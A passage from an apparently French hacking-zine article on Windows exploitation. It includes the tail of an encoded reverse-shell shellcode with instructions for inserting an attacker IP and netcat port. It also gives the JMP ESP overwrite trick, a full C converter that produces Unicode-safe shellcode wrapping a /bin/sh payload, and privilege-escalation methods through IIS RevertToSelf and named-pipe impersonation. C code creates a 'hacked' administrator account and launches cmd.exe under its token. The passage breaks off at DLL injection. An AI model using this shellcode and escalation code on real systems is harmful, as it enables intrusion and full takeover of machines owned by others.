"\xA9\xA9\xD5\x55\x16\xB8\xB8\xB8\xB8\x78\x02\x9F\x15\x42\x41\xED\x45\xE6\x78\x20\xED\x45\xCE\x21\xDB"
"\x43\x44\x43\x43\x43\xED\x65\x06\xED\x45\xDE\x97\xD2\x66\x70\x82\x82\x82\x82\x92\x2C\x12\x66\x23\x82"
"\x82\x82\x82\x78\x12\x44\x7A\x12\x16\x12\x12\x47\xED\x65\x06\xED\x45\xCA\x97\xD2\x66\x50\x82\x82\x82"
"\x82\x78\x12\xED\x24\x47\x41\xED\x45\xEA\x2F\xED\x12\x12\x12\x66\x3C\x82\x82\x82\x82\xF9\xA2\x78\x12"
"\x7A\x12\x16\x12\x12\x47\x41\xED\x45\xEE\x97\xD2\x6E\x0A\x82\x82\x82\x82\x66\x88\x78\x12\x44\x42\x47"
"\xED\x65\x0A\xED\x45\xC6\x78\x20\xED\x45\xCE\xF9\x9A\x41\xED\x45\xE2\x78\x12\xED\x45\xF2\x21\xD2\xBE"
"\x97\xD2\x67\xEB\x43\x40\x44\x41\xED\xC0\x48\x4B\xB9\xF0\xFC\xD1\x55\x77\x66\x42\x60\x7D\x71\x53\x76"
"\x76\x60\x77\x61\x61\x12\x5E\x7D\x73\x76\x5E\x7B\x70\x60\x73\x60\x6B\x53\x12\x51\x60\x77\x73\x66\x77"
"\x42\x7B\x62\x77\x12\x55\x77\x66\x41\x66\x73\x60\x66\x67\x62\x5B\x7C\x74\x7D\x53\x12\x51\x60\x77\x73"
"\x66\x77\x42\x60\x7D\x71\x77\x61\x61\x53\x12\x42\x77\x77\x79\x5C\x73\x7F\x77\x76\x42\x7B\x62\x77\x12"
"\x55\x7E\x7D\x70\x73\x7E\x53\x7E\x7E\x7D\x71\x12\x45\x60\x7B\x66\x77\x54\x7B\x7E\x77\x12\x40\x77\x73"
"\x76\x54\x7B\x7E\x77\x12\x41\x7E\x77\x77\x62\x12\x57\x6A\x7B\x66\x42\x60\x7D\x71\x77\x61\x61\x12\x51"
"\x7E\x7D\x61\x77\x5A\x73\x7C\x76\x7E\x77\x12\x45\x41\x5D\x51\x59\x21\x20\x12\x45\x41\x53\x41\x66\x73"
"\x60\x66\x67\x62\x12\x61\x7D\x71\x79\x77\x66\x12\x71\x7E\x7D\x61\x77\x61\x7D\x71\x79\x77\x66\x12\x71"
"\x7D\x7C\x7C\x77\x71\x66\x12\x61\x77\x7C\x76\x12\x60\x77\x71\x64\x12\x71\x7F\x76\x3C\x77\x6A\x77\x12";
<-X->

N.B.
 A la place de la séquence \xB8\xB8\xB8\xB8 vous devrez y mettre votre
 adresse IP XORée avec 0x12 .
 A la place de la séquence \xA9\xA9 vous devrez y mettre la porte sur
 laquelle vous avez placé netcat en écoute, XORée avec 0x12 .
 L'adresse et la porte NE doivent PAS avoir l'ordre des byte invertit.

N.B.2
 La première ligne est la XOR patch, tout le reste est le shellcode XORé.

N.B.3
 Evidemment le code peut étre beaucoup optimisé si vous avez des problèmes
 à cause de la taille.

ERRATA CORRIGE:
La méthode des Pipe est employée dans le shellcode parceque les fonctions de
I/O que cmd.exe utilise font échec si le descripteur utilisé est une socket.
Celui ci dépend de comment est géré l'I/O de la socket (example: overlapped,
blocking, etc), de façon différente de ce que s'attend cmd.exe .
Cependant c'est possible appeler WSASocket() pour créer des socket qui ne 
soient pas du genre overlapped:
sd = WSASocket (AF_INET, SOCK_STREAM, 0, 0, 0, 0);
Les descripteurs des socket créés comme ça peuvent être passés directement au
processus fils (cmd.exe) comme stdin, stderr et stdout à l'intérieur de la 
structure STARTUPINFO, comme nous avons vu auparavant pour les Pipe. De cette 
façon nous aurions pas besoin d'utiliser les pipe, mais nous ferons communiquer
l'attaquant directement avec l'interprète des commandes, justement comme nous
aurions fait dans le cas d'un système Unix, le tout pour avantager les 
dimensions du code. Cette technique a seulement un petit inconvénient: si le 
processus fils (cmd.exe) reste bloqué pour quelque raison, le père (le 
processus où marche le shellcode) ne peut pas s'en rendre conte et il risque de
rester bloqué lui aussi. Comme déjà précisé par les gars de LSD, ceci peut 
représenter un problème dans le cas d'exploit très particulier, où une seule
connection peut être établie avec le server vulnérable.
Tous cela vaut pour les shellcode qui "appèlent" an arrière l'attaquant. Si
nous avons besoin de re-utiliser une socket déjà ouverte pour communiquer avec
le shellcode (à cause par example de règles de firewall très rigides), le 
succès ou l'échec de cette technique dépend de comment le programme vulnérable 
a ouvert la socket que nous voulons re-utiliser. Par example, de default, une 
socket ouverte avec socket() n'ira pas bien pour nos propos (par example, 
apparament, après l'avoir ouverte c'est pas possible modifier l'overlap d'une 
socket) et nous devrons sur la fin utiliser la métode des pipe.
(Merci à xeon pour l'observation)



//////////////////////
// 2- JMP ESP TRICK //
//////////////////////

Comme nous avons vu avant, la position des DLL mapped en mémoire est plus ou
moin prévisible. Si il faut exploiter un normal stack overflow, ce fait peut
étre utilisé à notre avantage.
Voyons comment...

Un des gros problèmes quand il s'agit d'exploiter un stack overflow c'est
qu'il faut re-écrire un RET-ADDR et le faire pointer à notre code.
Très probablement, même notre code se trouvera sur le stack, dans une position
difficilement prévisible à priori.
Une des façon plus utilisé pour éviter ce problème c'est faire précéder notre
shellcode par un série de NOP, de façon à nous permettre une marge de sécurité
pour faire "attérir" l'exécution du programme dans notre code.

Içi nous proposons une solution alternative et, dans quelque cas, beaucoup
plus précise.
Cette solution est aussi celle adopté par le worm slammer, et en partie c'est
aussi grace à lui (ou de sa faute?) s'il est autant letal.

Si vous y pensez, c'est beaucoup plus facile savoir (à priori) le placement
que RET-ADDR re-écrit a à partir du début du buffer que nous utilisons, plutot
que sa position absolue.
Dans une situation du genre nous réussirons à re-écrire le RET-ADDR avec
précision et à placer IMMEDIATEMENT APRES lui notre shellcode.
A la place de re-écrire RET-ADDR avec l'adresse absolue où commence
le code (difficilemente prévisible), nous le re-écrivons avec une adresse
de mémoire où se trouve les deux byte "FF E4".
Pour avoir une adresse prévisible où se trouvent les deux byte d'avant il
suffit de faire un tour dans les DLL plus linkées par les programmes (par
example NTDLL.DLL).
Comme nous avons vu, ces DLL se trouvent dans des zones de mémoire prévisibles
et donc même leur segment de code contenant les byte "FF E4".

Mais qu'est ce que ces deux byte représentent?
Ces byte sont l'opcode de "jump esp".
Quand la fonction exploité exécutera le "ret", ESP pointera exactement après
le RET-ADDR re-écrit (et donc à notre code).
La fonction retournera sur l'opcode "jump esp" qui ne fera rien d'autre que
sauter à notre shellcode!!!

N.B.
 Si la fonction exploité utilise un "ret" avec un déplacement nous devrons que
 déplacer notre shellcode après le RET-ADDR d'autant de byte que combien en a
 le déplacement.



//////////////////////////////////////////////
// 3- UNICODE SHELLCODE CONVERTER (n0stack) //
//////////////////////////////////////////////

Vu que nous somme dans le monde Windows, il est possible que notre shellcode
envoyé dans une "demande malicieuse" reçoit une expansion en Unicode avant
de finir dans le buffer qui sbufferera (permettez-moi l'expression).

L'expansion d'un texte ASCII en format unicode se produit simplement en
intervallant des 0x00 entre un byte est l'autre.

Meme un enfant, à cet point, comprendrait qu'un normal shellcode, après
étre intervallé avec des 0x00, perd son sens.

Supposons en outre que le programme que nous voulons exploiter n'accepte
pas des morceaux de texte déjà codifiés en Unicode (ou alors on pourrait lui
fournir le shellcode directement en Unicode tandis qu'en ASCII, plus ou
moin comme il fait CodeRed).

Comme les gars de eEye ont déjà focalisés les chemins possibles sont:

1) Ecrire un shellcode "custom" qui ait du sens après étre "farçi" avec les
   0x00 .
2) Créer une sorte de traducteur qui transforme n'importe quel shellcode en
   un équivalent qui ait du sens après étre étendu en Unicode.
   Ce shellcode devrait s'occuper de reconstruire de quelque façon le
   shellcode original et, en suite, transférir le controle a lui.

N.B.
En suite nous ferons référence à la IA386.
L'example fourni, comme vous pouvez intuir du shellcode présent, a été écrit
sur un Linux pour exploiter un autre Linux.
La tecnique est cependant applicable à n'importe quel système opératif.
Nous prendrons pas en considération l'hypothèse que le programme vulnérable
ait quelque sorte de "high bit filter".

La technique décrite içi je l'avait dans le tiroir depuit quelques temps.
La décision de la rendre pubblique est arrivé après avoir lu un paper sur
le suject, écrit par Chris Anley.
Dans ce paper ( http://www.nextgenss.com/papers/unicodebo.pdf ) elle est
décrit une technique pour écrire des shellcode générique "expansible" en
Unicode.
Cette technique, qu'ils ont appelés "Venetian Exploit", permet de "traduire"
un shellcode générique en sont équivalent expansible.

Le point de force de cette technique est qu'elle permet de produire
shellcode relativement petit (original_size*7), mais elle a un ENORME
désavantage:
le shellcode n'est absolument pas relocalisable (il doit contenir une
référence absolue à l'intérieur de son buffer).

La technique détaillée içi (que j'ai appelé "n0stack") crée un shellcode
plus grand (à peut près 3 fois plus grand que ceux créés avec la technique
"venetian"), mais totalement relocalisable.
Et donc, si dans votre cas les dimensions ne sont pas un problème, je crois
que cette technique soit absolument préférable.

Le truc consiste à reconstruire le shellcode original sur le stack et puis
sauter à lui.
L'écriture du shellcode sur le stack se passe grace à des opcodes qui ont du
sens après étre étendus avec les \x00 .

Voici le code:

<-| awex/n0stack.c |->
/***********************************
  n0stack-code-generator by NaGA
************************************/

#include <malicious_query.h> // :P
#include <unistd.h>

// ADD [ESI],AL si il commence par 0
//#define PADDING 0x06  // EDX 0x0A  EBX 0x13 EDI 0x17

// JMP 0 si il commence avec un byte non nul------------
#define PADDING 0xEB

// ADD [EBP+0], DL
#define SKIP     0x55

#define PUSH_ESP 0x54
#define PUSH_EAX 0x50
#define RET      0xC3
#define MOV_EAX  0xB8
#define INC_ESP  0x44

// nombre de nop -------------------------
#define PAD_LEN 12

char buffer[20000];

// Met içi ton shellcode préféré
char shellcode[]=
          "\x29\xC0"                /* subl %eax, %eax       */
          "\x50"                    /* pushl %eax            */
          "\x68\x2F\x2F\x73\x68"    /* pushl $0x68732f2f     */
          "\x68\x2F\x62\x69\x6E"    /* pushl $0x6e69622f     */
          "\x89\xE3"                /* movl %esp, %ebx       */
          "\x50"                    /* pushl %eax            */
          "\x89\xE2"                /* movl %esp, %edx       */
          "\x54"                    /* pushl %esp            */
          "\x89\xE1"                /* movl %esp, %ecx       */
          "\xB0\x0B"                /* movb $0x0b, %al       */
          "\xCD\x80"                /* int $0x80             */
          "\x69\x69\x69";           /* pour padding          */

int main()
{
    int index, shell_index=0;

    for (index=0; index<PAD_LEN; index++)
	buffer[index]=PADDING;

    shell_index=sizeof(shellcode);

    for(shell_index-=2; shell_index>=0; shell_index--)
    {
    	buffer[index++]=MOV_EAX;
	buffer[index++]=PADDING;
	buffer[index++]=shellcode[shell_index];

	buffer[index++]=SKIP;
	buffer[index++]=PUSH_EAX;
	buffer[index++]=SKIP;

	if (shell_index>0 && shellcode[shell_index-1]==0) // ça permet les \x00
	    shell_index--;
	else
	{
	    buffer[index++]=INC_ESP;
	    buffer[index++]=SKIP;
	}
	buffer[index++]=INC_ESP;
	buffer[index++]=SKIP;
	buffer[index++]=INC_ESP;
	buffer[index++]=SKIP;
    }

    buffer[index++]=PUSH_ESP;
    buffer[index++]=SKIP;
    buffer[index++]=RET; // à présent nous avons dans buffer[]
                         // notre shellcode "traduit"

    // Maitenant que nous avons le shellcode traduit dans buffer[]
    // nous pouvons l'imprimer, le sauvergarder dans un file, ou bien
    // l'envoyer directement au service que nous voulons exploiter

    do_malicious_query(buffer);
}
<-X->

Mais comment ça marche?
L'idée est simple.
Le shellcode traduit ne fait rien d'autre que:

1) Prendre byte après byte du shellcode original (en partant par le dernier).
2) Mettre chaque byte en eax et le pusher sur le stack.
3) Incrémenter de 3 le stack pointer pour "effacer" les 3 byte en trop.
4) Tout répéter jusqu'il n'ait pas re-écrit entièrement le shellcode original
   dans le stack.
5) Sauter au shellcode avec un simple
      push esp
      ret

Voyons quelles instructions nous avons utilisé pour faire cela:

- push esp
- push eax
- ret
- inc esp
- mov eax, SHCODE_BYTE

Les 4 premières instructions ont un opcode de un byte.
La dernière a la forme 0xB8 0x00 0xSomething 0x00 0xSHCODE_BYTE .

Pour de question d'alignement nous devrons insérer, entre une instruction et
une autre, une commande qui ait un opcode du genre 0x00 0xbb 0x00 qui ne fasse
rien. L'instruction en question est
 add [ebp+0], dl = 0x00 0x55 0x00
et je donne pour acqui que ebp pointe quelque part plausible qui n'influence
pas notre code (dans le cas, il suffit quelques petites modifications pour le
faire pointer dans une zone "sûre").

A la place des NOP nous utilisons des
 jmp 0 = 0xEB 0x00
ou des
 add [esi/edx/ebx/edi], al = 0x00 0x06/0x0A/0x13/0x17

N.B.
 Le shellcode à traduire pourra contenir même des 0x00 (il suffit incrementer
 esp de 2 tandit que de 3).
 Ceci veut dire que même le shellcode vu auparavant peut être élaborer par le
 "converter" sans avoir besoin de la XOR-patch.

Si vous avez encore les idées confuses, je vous assure que 10 minutes de
debugger vous enlevera tous vos doutes.



/////////////////////////////////////////////////////////////
// 4- INTRODUCTION AUX PRIVILEGES ET AU CONTROLE DES ACCES //
/////////////////////////////////////////////////////////////

Avant de continuer avec l'exposition de quelques autres "tricks" possibles sous
Windows, nous voulons présenter une introduction aux méchanismes et aux
structures avec lequels ce système opératif gestit le méchanisme des privilèges
et du contrôle des accès.

--- ACCESS CONTROL ---

Le processus de LogOn à un système Windows NT/2000 commence avec la
présentation au système de références formées par le couple username et
password.
Après avoir donnée ces références, le système les compare avec celles contenus
dans son database et, si elles sont valides, crée une structure de données pour
l'usager qui s'appele Access Token.
Chaque processus exécuté par l'usager a une copie de cet Access Token.

Le Token contient principalement:

- Une série de Security Identifiers (SIDs) qui identifient le user account et
  tous les groupes auquels l'utilisateur appartien. Ce sont des numéros
  uniques, de longueur variable, émit par une Authority (par example un Domaine
  Windows 2000/NT) et mémorisés dans un database pour le controle des
  références.

- Une liste des privilèges associés au user ou au groupe d'appartenance:

    SE_DEBUG_NAME             : Permet de debugger n'importe quel processus
    SE_ENABLE_DELEGATION_NAME : Permet d'identifier une entité trusted pour la
    				SecurityDelegation (nous verrons en suite
				qu'est-ce que c'est)
    SE_SECURITY_NAME          : Identifit le possesseur comme SecurityOperator
    SE_SHUTDOWN_NAME          : Permet d'effectuer le shutdown de la machine
                                en local
    SE_TCB_NAME               : Identifit le possesseur comme partie du
                                système opératif (nous verrons en suite comment
				l'utiliser)
    SE_BACKUP_NAME            : Permet d'effectuer des opérations de BackUp
    SE_TAKE_OWNERSHIP_NAME    : Permet d'obtenir la ownership d'un objet
                                même si ont a pas les droits d'accès sur lui
    SE_AUDIT_NAME             : Permet de générer un événement de audit
    SE_LOAD_DRIVER_NAME       : Permet de charger un device driver
    SE_CREATE_TOKEN_NAME      : Permet de créer un objet Token
    Etc.

Le système utilise les Token et les informations contenues dans ceux ci pour
identifier l'usager associé quand il tente d'accéder à un Securable Object ou
il tente d'exécuter un Task administratif.

Par Securable Object nous entendons un vaste ensemble d'objet Win32 qui peuvent
être des simples files, comme documents ou exécutable, ou bien des Handle à
objets, processus ou Thread.
Quand un Securable Object est créé, le système opératif lui assigne un
Security Descriptor qui contient un ensemble d'information de sécurité attribué
à l'objet par son créateur.
Ces informations sont utilisées par le systéme opèratif pour controller tous
les accès à l'objet même.

Un Security Descriptor contient en plus:

- Un identificateur du propriétaire de l'objet.
- Deux structures du type Access Control List (ACL).

Chaque ACL est composée d'une liste d'objets appelés Access Control Entry
(ACE).
Chaque ACE identifit, à travers un SID, un user account et un group account
(appelé trustee), en specifiant les droits d'accès à l'objet pour ce trustee.
L'ACE contient aussi un flag qui en marque le type et un ensemble de bitfield
qui en indiquent le type d'hérédité.

Il y a deux ACL pour chaque Security Descriptor:

- Une Discretionary Access-Control List (DACL) qui identifit les usagers ou
  les groupes auquels l'accès à l'objet est permis ou nié.
- Une System Access-Control List (SACL) qui spécifit comment le sytème doit
  se souvenir des tentatifs d'accès à l'objet. Dans ce cas, chaque ACE
  spécifit le type d'accès, de la part d'un trustee, qui doit écrit dans un
  log par le système.

Quand un thread ou un processus tentent d'accéder à un Securable Objects, le
système exécute un controle d'accès avant tout. Ce controle est effectué avec
une scansion de la DACL de l'objet et en cherchant une ACE qui s'applique à
l'user SID ou aux group SIDs contenus dans l'Access Token de l'entité qui
réclame l'accès.

Dans le cas où l'objet n'ait pas une DACL, le système garantit l'accès à
n'importe qui (groupe Everyone).
Par contre, dans le cas où la DACL n'ait pas ACE, l'accès à l'objet est nié
à tous.

N.B.
Si le Security Descriptor ne contient pas une DACL, une Null DACL est creé.
Une Null DACL ne devrait pas être confondu avec une Empty DACL.
Une Empty DACL c'est une DACL creée et initialisée, mais qui ne contient
aucune ACE. Une Empty DACL ne permet pas l'accès à l'objet à personne, tandis
que une Null DACL garantit l'accès à l'objet à tout le monde.

Allons voir en détail comment est fait un Access Token.

--- ACCESS TOKENS ---

Comme dit auparavant, un Access Token est un objet qui décrit le Security
Context d'un processus ou d'un thread, à travers l'identité et les privilèges
attribués à l'usager propriétaire de ce processus ou de ce thread.

Un Access Token contient ces informations:

- Le security identifier (SID) du User Account.
- SIDs pour les groupes auquel appartient l'usager.
- Un LogOn SID qui identifit la Logon Session actuelle.
- Une liste de Privileges attruibués au user et au groups.
- Un owner SID.
- Le SID pour le Primary Group.
- La default DACL qui est utilisée par le sytème quand l'usager crée un objet
  sans spécifier un Security Descriptor.
- La source de l'access token.
- Si un token est un Primary Token ou un Impersonation token.
- Une liste optionelle de restricting SIDs.
- Le niveau actuel de Impersonation.
- Autre statistiques.

Une précisation doit encore être faite sur la typologie de Token. Chaque
processus possède un Primary Token qui décrit le Security Context de l'usager
propriétaire du Thread.
D'abitude le sytème utilise le Token primaire quand le processus tente
d'accéder à un objet.
Cependant, à un thread il est permis de personnifier un Security Context
différent du sien.
Par example, dans le cas d'une architecture client-server, le Thread server
peut personnifier le Security Context du client (pour exécuter par example le
dropping des privilèges).
Dans ce cas, le Thread qui personnifit un client a un Primary Token et aussi un
Impersonation Token.

Windows offre plusieurs fonctions pour permettre à un thread de personnifier un
SecurityContext différent du sien:

- DdeImpersonateClient       : Personnifit le client d'un server DDE
- ImpersonateNamedPipeClient : Personnifit le client d'une NamedPipe (nous
			       allons voir en suite comment c'est possible
			       l'utiliser).
- ImpersonateLoggedOnUser    : Personnifit un usager entré dans le système à
                               travers son Token.
- RpcImpersonateClient       : Personnifit le client d'un server RPC.
- ImpersonateSelf            : Le processus qui l'appèle personnifit soi même
			       en spécifiant un niveau de personnification
                               (nous le verrons après).
- etc.

En plus, si un client s'authentifit directement à un processus server (en
fournissant par example username et password), celui-ci peut utiliser les
références obtenues pour exécuter la fonction LogonUser.
LogonUser retourne un Token qui représente localement le SecurityContext, dans
ce cas, de l'usager client; il peut être utilisé par le server pour le
personnifier (par example avec ImpersonateLoggedOnUser) et faire des opérations
avec ses privilèges.

Comme nous verrons mieux plus tard, le type de Token peut changer selon la
métode de LogOn utilisée.
Par example, si le server utilise un type de logon LOGON32_LOGON_NETWORK pour
personnifier un usager, il lui sera assigné un Impersonation Token, et les
références fournits par l'usager (username, password hashes, etc) ne serons
pas mémorisées dans sa session de logon. Celui-ci, comme nous verrons après,
limitera le champ d'action du server qui effectu l'Impersonation e, évidemment,
d'un attaquant qui cherche à l'exploiter.

Vice-versa, avec LOGON32_LOGON_INTERACTIVE, une session de logon complête sera
créé.
L'usager doit quand-même avoir les privilèges nécessaire pour pouvoir effectuer
les différents types de logon. Par example pour un logon interactif l'usager
doit avoir le privilège SE_INTERACTIVE_LOGON_NAME .

Ils existent sept différents types de logon possible sous windows.

Ils y sont aussi des fonctions, comme DuplicateTokenEx, qui permettent de
transformer un Impersonation Token en un Primary Token.
Un Token primaire est nécessaire par example si nous voulons utiliser la
fonction CreateProcessAsUser comme nous verrons en suite.

Ils y sont différents types possibles de personnification qui specifient
combien elle soit effective cette personnification:

- SecurityAnonymous      : Le processus server n'obtient aucune information de
                           la part du client.
- SecurityIdentification : Le processus server peut obtenir quelques
                           informations sur le client (comme les SID et les
			   privilèges), mais il ne peut pas le personnifier.
- SecurityImpersonation  : Le server peut personnifier le client sur le système
                           local.
- SecurityDelegation     : Le server peut personnifier le SecurityContext du
                           client même sur des sytèmes à distance.

Quand un Thread veut terminer le processus de personnification, il pourra
utiliser plusieurs fonctions comme RevertToSelf et RPCRevertToSelf, pour
re-acquérir les privilèges contenus dans son Token d'origine.

Windows NT/Windows 2000 fournit un méchanisme de sécurité qui rend possible
controller l'accès à un Access Token comme il arrive pour tout autre objet.
Quand un utilisateur tente d'accéder à un token en utilisant les normales API
Windows, le système controle les droits d'accès nécessares dans la DACL du
Security Descriptor de l'Access Token.
Si l'usager a les privilèges nécessaires pour effectuer l'opération sur le
Token, alors le système en garantit l'accès.



///////////////////////////////////////
// 5- SHELLCODE PRIVILEGE ESCALATION //
///////////////////////////////////////

Comme nous avons vu auparavant il est possible que le service que nous allons
exploiter ait "droppé" ces privilèges avant de gérer notre demande
"malicieuse".
Dans quelque cas il est possible re-obtenir les privilèges originaires du
service (que dans la plupart des cas marchera comme LOCAL_SYSTEM) en utilisant
justement le système de personnification utilisé par Windows.

Nous prenons un example pratique: Internet Information Server
(va savoir pourquoi juste ça!).

Quand il est installé, IIS crée deux usagers avec bas privilèges appelés
IUSR_<nom_machine> et IWAM_<nom_machine> .
Quand IIS doit gérer une demande de la part d'un client non authorisé, il entre
dans le système comme un utilisateur à bas privilège et il le personnifit pour
tout le temps de gestion de la demande.

La personnification varie selon la resource qui est demander.
IIS distingue par example les ISAPI qui sont lancé InProcess (à l'intérieur du
processus même) et celle OutProcess (dans un processus séparé).
Dans le premier cas IIS personnifiera l'usager IUSR_<nom_machine> pour gérer
la demande.
Dans le deuxième cas IIS lancera un processus séparé sous le SecurityContext de
IWAM_<nom_machine> .

Si nous voulons exploiter une ISAPI qui marche InProcess, nous aurons la
possibilité d'utiliser dans notre shellcode, avant de lancer notre "cmd.exe",
la fonction RevertToSelf, pour terminer la personnification de IUSR et
re-obtenir les privilèges originaire de IIS (!!!).

Petite remarque:
IIS distingue les ISAPI InProcess de celles OutProcess à travers un "metabase"
où sont enregistrés, entre autres, toutes les ISAPI que IIS reconnait.
Mais dans certaines versions, ces ISAPI sont identifiées uniquement à travers
leur nom et non pas avec le path complet. Si nous réussisons à uploader dans
une directory quelconque de la machine avec permis d'exécution (en utilisant
par example le vieux bug du directory traversal) une ISAPI construite par nous,
nous pourrons alors l'appeler comme une des ISAPI que IIS fait marcher comme
InProcess (par example idq.dll ).

Immaginez que cette ISAPI soit contruite pour appeler la fonction RevertToSelf,
exécuter une commande (cablé par example dans la demande même) et mettre dans
une page html l'output de la commande.
En appelant à travers notre browser l'ISAPI, avec le path où nous l'avons
installé, nous avons une shell rudimentaire avec privilèges administratifs!!!!



///////////////////////////////////////////////
// 6- ENCORE SUR L'ESCALATION DES PRIVILEGES //
///////////////////////////////////////////////

Comme nous avons vu dans le paragraphe précédent il est possible utiliser la
fonction RevertToSelf pour opérer une escalation des privilèges d'un processus
qui les avait droppés.
En général, toutes les fonctions de personnification peuvent être très utiles,
mais elles sont aussi très dangeureuses si les processus qui marche avec des
privilèges élevés n'en font pas un emploi consciencieux.
Le système de gestion de la personnification introduit en Windows toute une
série de problématique de sécurité pas présent sous d'autres systèmes
opératifs.

Nous allons voir un example pratique de programme qui, lancé localement avec
bas privilèges, reussit à obtenir les privilèges de LOCAL_SYSTEM en se servant
de fonctions de personnification et un petit bug de certaines versions de
Windows2000 (qui manque de ServicePack).
L'auteur de cet exploit est Maceo. Nous ne reportons pas le code vu que vous
pouvez facilement le trouver sur le Réseau.

Le Service Control Manager (SCM) est l'entité que Windows utilise pour la
gestion de ses services. Chaque fois que un service est exécuté, SCM crée une
NamedPipe auquel le service à peine parti se connectera.
De cette façon SCM et le service pourrons "dialoguer" avec une simple
architecture client/server.
Le nom des pipe utilisés par SCM a la forme "\\.\pipe\net\NtControlPipe" suivit
par un ordinal qui distingue une pipe d'une autre.

Dans le registry elle est présente une clef, lisible par tous, qui représente
l'ordinal de la dernière pipe ouverte par SCM:

HKEY_LOCAL_MACHINE\Sysetm\CurrentControlSet\Control\ServiceCurrent

Le numéro de cette clef est incrémenté chaque fois qu'un service est exécuté.

Le code malicieux ne fait rien d'autre que lire cette clef du registre et créer
une NamedPipe .
Cette NamedPipe devra s'appeler comme la prochaine pipe que SCM cherchera
d'utiliser quand un nouveau service sera lancé.
A présent notre code dira à SCM d'exécuter un nouveau service qui tourne avec
des privilèges élevés (LOCAL_SYSTEM).
Ils y sont plusieurs services (par example ClipBook) qui marche avec les
privilèges de LOCAL_SYSTEM et peuvent être exécutés par n'importe quel usager
interactif.

Maintenant SCM ne pourra pas ouvrir la pipe vu que une pipe avec ce nom a déjà
été ouverte par notre code, mais le service à peine exécuté pourra s'y
connecter.

Dans cette situation notre code serait le server-end de la NamedPipe, et le
service à peine lancé serait le client-end.

A présent nous pourrons utiliser la fonction ImpersonateNamedPipeClient et
obtenir les privilèges du service (LOCAL_SYSTEM) !!!!

Ceci est seulement un petit example de comment on peut utiliser les même API de
Windows contre le système (ce n'est pas un slogan politique!).



////////////////////////////////////////////////////
// 7- C'EST AUTANT CONVENABLE ETRE LOCAL_SYSTEM ? //
////////////////////////////////////////////////////

Sous Windows les services marcheront (dans la plupart des cas) sous l'usager
LOCAL_SYSTEM.
En exploitant un de ces services, évidemment nous aurons la possibilité de
exécuter des commandes comme cet utilisateur.
Comme nous avons vu auparavant il est possible, dans quelques cas, de
re-obtenir les privilèges de LOCAL_SYSTEM même si le service exploité les avait
droppés.

LOCAL_SYSTEM est un usager à très hauts privilèges (il possède, entre autres,
le privilège SE_TCB_NAME), mais il a lui aussi quelques restrictions.

Sous NT, quand un usager veux accéder à une resource du réseau (par example un
share avec "net use") sans fournir explicitement des références, le système
opératif prendra les références fournies par l'usager pendant le processus de
logon (username, domaine, password hashes, etc) et gardées dans sa LogonSession
(gérée par LSASS); le système les utilisera pour l'authentification à la
resource distante.
Sous Windows 2000 le processus est différent, mais l'idée reste la même.

LOCAL_SYSTEM n'a pas une normale session de logon et, évidemment, il n'a pas
les références memorisées.
Si nous fesons, par example, un "net use" comme LOCAL_SYSTEM, le système
opératif, en trouvant pas une normale séance de logon pour cet usager,
cherchera de s'authentifier à la resource avec une NullSession.
Dans ce cas là, nous somme capable d'accéder uniquement aux resources
accessibles à travers NullSessions (c'est écrit dans le registry si une
ressource est accessible avec NullSessions); nous somme par example pas capable
de monter les disques des autres machines sur le réseau.

Même en spécifiant les références avec par example
"net use * \\autre_machine\c$ pippo /user:administrator", si nous somme
LOCAL_SYSTEM le système operatif nous dira qu'il n'a pas trouvé le séance
correcte de logon à utiliser pour s'authentifier à la ressource distante.

Imagimez de réussir à exploiter un service d'un server sur une DMZ et que dans
la même DMZ ils y soient des autres machines avec le service NetBios ouvert,
mais pas accessible par l'extérieur (par example il y a un firewall).
Il nous plairait monter les disques de ces autres machines (qui très
probablement ont des password banales) en se servant de la machine que nous
avons exploité, mais Windows nous le permet pas parceque, si nous somme
LOCAL_SYSTEM, nous n'avons pas une séance de logon complete.

Ehi, mais quand même, nous somme LOCAL_SYSTEM, nous avons le privilège
d'exécuter du code comme fesant part du système opératif, il y sera bien
quelque chose que nous pouvons faire!

Evidemment ils y sont plusieurs façons pour détourner ce problème.
Nous allons voir la métode plus simple.

Il suffira uploader sur le server exploité (par example à travers TFTP) un
petit programme qui fait ceci:

- Créer un nouveau usager.
- Ajouter cet usager au groupe Aministrators (c'est pas indispensable dans la
  plupart des cas, mais vu que nous y somme...).
- Créer une séance de LogOn pour cet usager avec LogonUser (nous pouvons le
  faire parceque nous avons le privilège SE_TCB_NAME).
- Exécuter un processus avec le Token de cet usager (par example un autre
  cmd.exe).
- Attendre que le processus fils soit terminé.
- Eliminer l'usager créé.

A présent, en envoyant ce programme de notre shell de LOCAL_SYSTEM, nous aurons
une deuxième shell comme un normale administrateur de la machine, grace auquel
nous pourrons utiliser "net use" et monter conbien de disques nous voulons!!!!

N.B.
Créer un nouveau usager est nécéssaire à condition de ne pas connaitre la
password (demandée par LogonUser) d'un autre utilisateur valide du système.

N.B.2
A la place de cmd.exe vous pouvez lancer la commande qui plus vous plait.

N.B.3
Tout ceci peut être fait directement aussi de l'intérieur du shellcode, mais il
nous sembre un emploi d'énergie inutile.

Voici le code d'example:

<-| awex/not_LOCAL_SYSTEM.c |->
#include <Windows.h>

int main(int argc,char **argv)
{
	STARTUPINFO StartInfos;
	PROCESS_INFORMATION Proc_Infos;
	HANDLE Token;

	system("net user hacked hacked /ADD");
	system("net localgroup administrators hacked /ADD");

	// Si le service n'a pas droppé le privilège SE_TCB_NAME nous créons une
	// séance intéractive pour l'usager
	LogonUser("hacked",NULL,"hacked",LOGON32_LOGON_INTERACTIVE,LOGON32_PROVIDER_DEFAULT, (PHANDLE)&Token);

	// Nous remplissons la structure nécessaire à CreateProcessAsUser
	GetStartupInfo((LPSTARTUPINFO)&StartInfos);

	// Sur quelques ServicePack il est nécessaire laisser au SO la gestion du Desktop
	StartInfos.lpDesktop = "";
	StartInfos.dwFlags&=(!STARTF_USESTDHANDLES);

	CreateProcessAsUser(Token, NULL, "cmd.exe", NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, (LPSTARTUPINFO)&StartInfos, (LPPROCESS_INFORMATION)&Proc_Infos);

	WaitForSingleObject(Proc_Infos.hProcess, INFINITE);

	system("net user hacked /DELETE");

	return 0;
}
<-X->



//////////////////////
// 8- DLL INJECTION //
//////////////////////

Même si nous pouvions avoir les privilèges de Administrator (ou de
LOCAL_SYSTEM), notre code ne pourra quand même pas accéder directement à
certaine donnés sensibles qui soient été "locked" par des autres processus, ou
qui soient contenues en mémoire dans des espaces d'adressement différents du
notre.

Pour éviter ce problème nous pouvons faire usage du privilège SE_DEBUG_NAME et
d'une technique connue comme "DLL Injection".

La technique "DLL Injection" consiste à faire exécuter à un processus une
